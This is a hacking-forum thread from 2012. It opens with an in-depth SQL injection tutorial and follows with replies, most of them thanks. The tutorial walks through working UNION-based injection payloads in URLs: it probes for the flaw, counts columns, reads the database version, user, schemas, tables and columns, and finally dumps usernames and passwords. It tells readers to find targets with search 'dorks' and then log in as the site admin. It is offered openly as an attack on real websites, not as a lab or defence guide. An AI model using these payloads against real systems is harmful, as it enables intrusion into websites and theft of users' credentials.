

Forum:[Hack Forums](#)

Thread: [\[TUT\] Attacking servers using SQL Injection \[TUT\]\[IN-DEPTH\]](#)

Kainaan - September 26, 2012, 10:30 pm

What is SQL?

Almost every web application in the internet takes user input from a form. Often this user input is used by the server to construct an SQL query that will be submitted to the servers database. These queries consist of mainly 4 parts:

Code - SELECT
- FROM
- WHERE
- ORDER BY

In a query the "SELECT" statement is designating which column or information you want to return. The "FROM" statement describes what table(s) those columns come from.

The most basic SQL queries only have SELECT and FROM. An of these queries are:

Code SELECT EmployeeID, LastName, FirstName, HireDate, City FROM Employees

This query is grabbing the "EmployeeID", "LastName", "FirstName", "HireDate" and "City" columns from the "Employees" table.

The "WHERE" statement allows us to add limitations or filters to the data that we fetch from the database. By adding "WHERE" to our query we add one (or more) conditions that must be met by the selected data.

Here is an example:

Code SELECT EmployeeID, FirstName, LastName, HireDate, City FROM Employees WHERE City = 'London'

By now you should understand straight away what this does, but just to be certain I will walk you through it. This query is going to select the columns of "EmployeeID", "FirstName", "LastName", "HireDate" and "City" from the "Employees" table but only for the rows in which City is equal to "London".

We can also add math operators into the WHERE statmente, such as :

Code SELECT EmployeeID, FirstName, LastName, HireDate, City FROM Employees WHERE HireDate >= '1-july-1993'

You can also use a variety of operators such as:

-BETWEEN
-AND

Code SELECT EmployeeID, FirstName, LastName, HireDate, City FROM Employees WHERE HireDate BETWEEN '1-june-1992' AND '15-december-1993'

As well as:

-NOT

Code SELECT EmployeeID, FirstName, LastName, HireDate, City FROM Employees WHERE HireDate NOT BETWEEN '1-june-1992' AND '15-december-1993'

-OR

Code SELECT EmployeeID, FirstName, LastName, HireDate, City FROM Employees WHERE City = 'London' OR City = 'Seattle'

-IN

Code SELECT EmployeeID, FirstName, LastName, HireDate, City FROM Employees WHERE City IN ('Seattle', 'Tacoma', 'Redmond')

Finally the "ORDER BY" statement merely tells the database how to order the data, such as by City, or Name alphabetically.

Code SELECT EmployeeID, FirstName, LastName, HireDate, Country, City FROM Employees ORDER BY Country, City DESC
ALL DONE

Yeah we are finally all done explaining the structure of SQL queries. If you are wondering why I took the time to explain queries first, instead of just going into SQL injection, that is because I feel it is necessary to understand how everything is operating so you can clearly know how to manipulate these communication channels. If you disagree with this and much rather know a string of characters to type into a text box then I pity your logic. With the information you will have learned in this tutorial you will be able to look at ANY sql based web page and be able to understand how you could possibly manipulate it and discover your own vulnerabilities.

What is SQL Injection?

So now on to the actual attacking. SQL Injection is an attack in which we inject our code into the queries that we learned of above to exploit the database. This exploit may cause the database to reveal sensitive data, it may modify the database data (insert/update/delete) , execute administrative operations on the database and in some cases can even issue commands to the operating system.

Assuming you have found a website (if not google some dorks) we will move on to conducting the attack. The first step is to diagnose whether or not the database is vulnerable to SQLi.

Is it vulnerable?

Lets say for example we have discovered a website in which we want to discover whether or not it is vulnerable. Our website is:

- <http://examplesite.com/news/view.php?id=828>

To test whether or not its vulnerable all we need to do is add a single quote ' into the input, like so:

- <http://examplesite.com/news/view.php?id=828>'

If the website is not vulnerable it will strip the single quotes from the input and when you load the page it will simply result in displaying a weird look up error such as:

Code Error: No user found with name mike+AND+(select+count(*)+from+fake)+%3e0+OR+1%3d1 Chapple!

However if the website is vulnerable that the quote will not be removed and it will pass straight to the database resulting in some different results depending on whether or not the server has detailed error messages enables (which it shouldn't).

Enabled:

Code Microsoft OLE DB Provider for ODBC Drivers error '80040e37'

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid object name 'fake'.

/directory.asp, line 13

Disabled:

Code Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator to inform of the time the error occurred and of anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Please note that you could also receive a "404 not found" error, this generally means it is vulnerable.

If you receive something along the lines of those three things then it is vulnerable, Hurrah!!! The next step in this process is to determine the number of columns in the database.

Determining the number of columns

We need to determine the number of columns in the table to properly attack it. To do this it is really simple, we simply use the "ORDER BY" statement we talked about before to diagnose the number of columns. You can do this by adding it to the input:

Code `http://examplesite.com/news/view.php?id=828 order by 1--`

I will explain exactly what this is doing, essentially this is telling the database to order the results by column 1 alphabetical or numerically depending on the type of data in the column. If the column exists on that table the page will load fine and if not the column does not exist. The double dash at the end comments out and commands after the ORDER BY to ensure that no errors occur.

So let us say that we keep trying this and at "ORDER BY 9--" we receive an error, however at "ORDER BY 8--" it loaded fine. This means that the table only has 8 columns for there was no 9th column to order the data by so it resulted in an error.

The last part to verify that we have 8 columns is to do a UNION SELECT statement. This is done like so:

Code `http://examplesite.com/news/view.php?id=-828 union select 1,2,3,4,5,6,7,8--`

Make note of the hyphen before the numbers.

You should see numbers on your webpage as a result of the SQL query we injected.



What you are seeing is where the data is presented. The big 3 is where the data from the 3rd column is shown, where the 5 is the 5th column's data is shown and so on.

To continue this attack we now need to establish what MySQL version is running and the current user.

Getting MySQL version and Current User

So we have worked out the number of columns and the columns position on your webpage, next

we need the MySQL version and the current user. To get the MySQL version we will use a simple command and inject it into the 3rd column since it is nice and bold.

Code `http://examplesite.com/news/view.php?id=-828 union select 1,2,@@version,4,5,6,7,8--`
When you inject that code you should receive a result like so:
[img]http://img823.imageshack.us/img823/8895/sqlitut3.jpg[/img]

We now know that this website is running version "5.0.22". For reasons I won't go in to you want the site to be running version 5 or up, if it is below 4 then you will have to start guessing tables and columns and it becomes a big mess. Almost all servers are running over 5 anyways.

We now need to get the current user, to do this we type in:

Code `http://examplesite.com/news/view.php?id=-828 union select 1,2,user(),4,5,6,7,8--`
Notice again we are sending the info to the 3rd column because of its convenience on the web page.

If you did it correctly you should have a result like this:

[img]http://img690.imageshack.us/img690/611/sqlitut4.jpg[/img]

By now you should be recording these results, writing down the user, number of columns and the MySQL version for later reference.

Now that we have our information we need to establish the databases of the server.

Getting the Databases

This is when it starts to get really awesome. We want to get the database and the current database. To do this we inject this code into the query:

Code

`http://examplesite.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(schema_name),4,5,6,7,8 from+information_schema.schemata--`

This query will essentially return the database (schema) name into column 3 where we can view it. Again please note that we added the code "group_concat(schema_name)" is in column 3 space again.

You should get something along the lines of this:

[img]http://img864.imageshack.us/img864/1689/sqlitut5.jpg[/img]

This gives you a list of the databases, we will now establish which database is the current one. To view the current database we change the syntax to:

Code `http://examplesite.com/news/view.php?id=-828+UNION+SELECT+1,2,database(),4,5,6,7,8`

This should result in something such as this:

[img]http://img194.imageshack.us/img194/7368/sqlitut6.jpg[/img]

As we can now tell the current database is "brokenpe".

Now that we have worked out the database name we need to want to gather the tables of the current database.

Retrieving the Database Tables

To get the list of tables we will be using a variation of the previous UNION SELECT command. The command is as follows:

Code

`http://examplesite.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--`

If you have done this correctly you should see a list of all the tables in the current database, an example of this is:



I have placed a box around the user table for that is what we are aiming to get in to. If we can gain access to the user table we can read the admin's account information as well as everyone else's information.

Getting the database Columns

Now that we have found our user table we want the columns out of it. To do this, we will again be using our trusty UNION SELECT function.

Code

`http://examplesite.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema=database()--`

This should result in as follows:



We are now on the last step. Dumping the username and passwords, Congratulations on reading so far ?

Dumping users/pass

So far we have found our vulnerable site, found the number of columns, found the database and the tables. Now all that is left to do is access the table and dump the usernames and passwords.

The following command we do for this is more complex than the others however it is still easy to understand, I will guide you through it.

Code

`http://examplesite.com/news/view.php?id=-828+UNION+SELECT+1,2,group_concat(login,0x3a,password,0x3a),4,5,6,7,8 from bpusers--`

As you can see we are again using the UNION SELECT. We are grabbing the "login" column then placing a "0x3a" which is translated into a colon then we grab the "password" column and place another colon. All from the table "bpusers"

If you have done this correctly you should see all of the usernames and passwords in an alternating fashion. All that is left to do is sift through the login details, locate the admins details. Then you can find the admin page and login to the server as him and do whatever you like.

FINISHED!!!

Holly crap guys, you read a lot. I apologize for making the tutorial so long but I really wanted it to be as in-depth as possible and still beginner friendly. Remember this took me quite a few hours to throw together and it only takes you a few seconds to say thanks. So make sure you RESPOND and say thank you ?

I hope you enjoy the tutorial, if anyway has any questions shoot me a PM or reply to the thread.

mist.kings - September 26, 2012, 10:35 pm

thx for this tut sir good job ?

Hikki - September 26, 2012, 10:35 pm

Really nice tutorial you made here. Thanks :)

Kainaan - September 26, 2012, 10:38 pm

(Sep 26, 2012 10:35 PM)Jatin Wrote: [\[CITE\]](#) Really nice tutorial you made here. Thanks :)
I'm glad you enjoyed it. Just trying to give back to the forums :)

v3xr - September 26, 2012, 10:49 pm

Good stuff man, skimmed over it but seems to have everything needed to get a good grasp on SQLi. I like the background info you provided on SQL queries, most people skip steps like this, and sorely pay for it once they start to learn harder stuff.

5/5

Kainaan - September 26, 2012, 10:52 pm

(Sep 26, 2012 10:49 PM)v??? Wrote: [\[CITE\]](#) Good stuff man, skimmed over it but seems to have everything needed to get a good grasp on SQLi. I like the background info you provided on SQL queries, most people skip steps like this, and sorely pay for it once they start to learn harder stuff.

5/5Yeah I try to avoid doing stuff like that. I really despise tutorials that just tell you "what" to do instead of "why" you are doing it and "how" it is doing what it is. If someone understands what they are doing instead of having a set of instructions they follow they will have the ability to take their skills to the next level and develop it by themselves. Overall its better for everyone, unless your just a lazy skid ?

Edit: 150th post YAY

InfinityComplex321 - September 26, 2012, 11:16 pm

Thanks a lot man, this is absolutely fantastic, and should be read much more than other tutorials which are not even near to this kind of quality. Keep up the tutorials mate. ?

Kainaan - September 27, 2012, 8:26 am

(Sep 26, 2012 11:16 PM)InfinityComplex321 Wrote: [\[CITE\]](#) Thanks a lot man, this is absolutely fantastic, and should be read much more than other tutorials which are not even near to this kind of quality. Keep up the tutorials mate. ?

Haha no problem man, I try to make my tutorials as high quality as possible but for some reason no one really reads them. It's weird, and mildly upsetting :P

mastermansachin - September 27, 2012, 2:29 pm

Really nice tutorial !!
awesome. Love it..
great job...:)

Kainaan - September 27, 2012, 2:51 pm

(Sep 27, 2012 02:29 PM)mastermansachin Wrote: [\[CITE\]](#) Really nice tutorial !!
awesome. Love it..
great job...:)

I'm glad I am helping out. People really need to reply to my threads more so they don't die like the

rest of my tutorial.

Drizzletoed - September 27, 2012, 4:16 pm

Great post best tut i have read, really made me grasp the concept. Going to read again for memorization purposes. Thanks.

Racialz - September 27, 2012, 5:00 pm

Really nice tutorial man, thanks for this

Jay? - September 28, 2012, 5:54 pm

Good shit bro keep it up. Very in depth and beginner friendly.

(NULL) - September 28, 2012, 5:56 pm

Your tuts are pretty impressive. Very in depth and informative. Thanks man

javaPro - September 28, 2012, 6:04 pm

One of the best tutorials I have come across. Is this only for php based websites? What happens if I get to a page with a form on it, but the url does not have anything like id at the end? I think its an asp site, and the url with the form on it is like www.example.com/page

I assume it cant be checked for vuns like in the example you show?

Kainaan - September 28, 2012, 6:18 pm

(Sep 28, 2012 06:04 PM)javaPro Wrote: [\[CITE\]](#) One of the best tutorials I have come across. Is this only for php based websites? What happens if I get to a page with a form on it, but the url does not have anything like id at the end? I think its an asp site, and the url with the form on it is like

www.example.com/page

I assume it cant be checked for vuns like in the example you show?

The only requirements to perform this type of attack is that the website must have MySQL and some form of user input, typically you do it in the URL. However you could inject the code into a search bar, body of a thread, anything that accepts input and turns it into a MySQL query.

The_Defiant_One - September 28, 2012, 6:50 pm

Very nicely detailed tutorial.Thanks for putting the time to make this!

Austerity - September 29, 2012, 2:24 am

Very nice tutorial mate, comes in handy and is very useful towards me !

Thanks for the contribution.

shup - September 29, 2012, 7:06 am

really nice tut for noobs...superliked it ?

Kainaan - September 29, 2012, 9:03 am

(Sep 29, 2012 02:24 AM)Mila Kunis™ Wrote: [\[CITE\]](#) Very nice tutorial mate, comes in handy and is very useful towards me !

Thanks for the contribution.

Glad I could help out someone who needs it :P

SteamBulgaria - October 7, 2012, 3:11 am

thanks for sharing this man , will help me alot in the future :)

Kainaan - November 14, 2012, 7:07 am

(Oct 7, 2012 03:11 AM)SteamBulgaria Wrote: [\[CITE\]](#) thanks for sharing this man , will help me alot in the future :)

Glad someone is enjoying my tutorials :)

Spent a lot of time on them :P

jawwad20 - November 14, 2012, 7:26 am

Nyce tutorial but .. bro manual attack is powerful rather than automatic ?

Kainaan - November 14, 2012, 7:33 am

(Nov 14, 2012 08:26 AM)jawwad20 Wrote: [\[CITE\]](#) Nyce tutorial but .. bro manual attack is powerful rather than automatic ?

In my personal opinion manual attacking will always remain supreme. If you are doing an automatic chance it is a very high chance that you have absolutely no idea what is going on in the background to perform that attack, for this reason you will never really gain any knowledge and will probably be what people call a "Script Kiddie". To truly gain knowledge and become powerful you must have insight on the inner workings of these systems. However this is just my personal opinion, it is entirely up to you.

MadSocietyKing - January 14, 2013, 5:46 pm

I was trying this out, and I got confused. Where do you type in the code to do this? I had the website up and when i tried the ' at the end I got a 404. Then I added the order by 1--, and the browser (IE9) added the %20 for a space in the URL. Then I can't do anything. Is there software you are using or is it just me? Please help, it'd be gladly appreciated.

-Remember when life used to be fun?

gab1x - January 25, 2013, 8:56 pm

Superb tutorial, really liked the start explaining SQL, and very in-depth. Thank you so much!

metalhck - January 26, 2013, 3:59 am

Thanks for great tutorial, helped me a lot.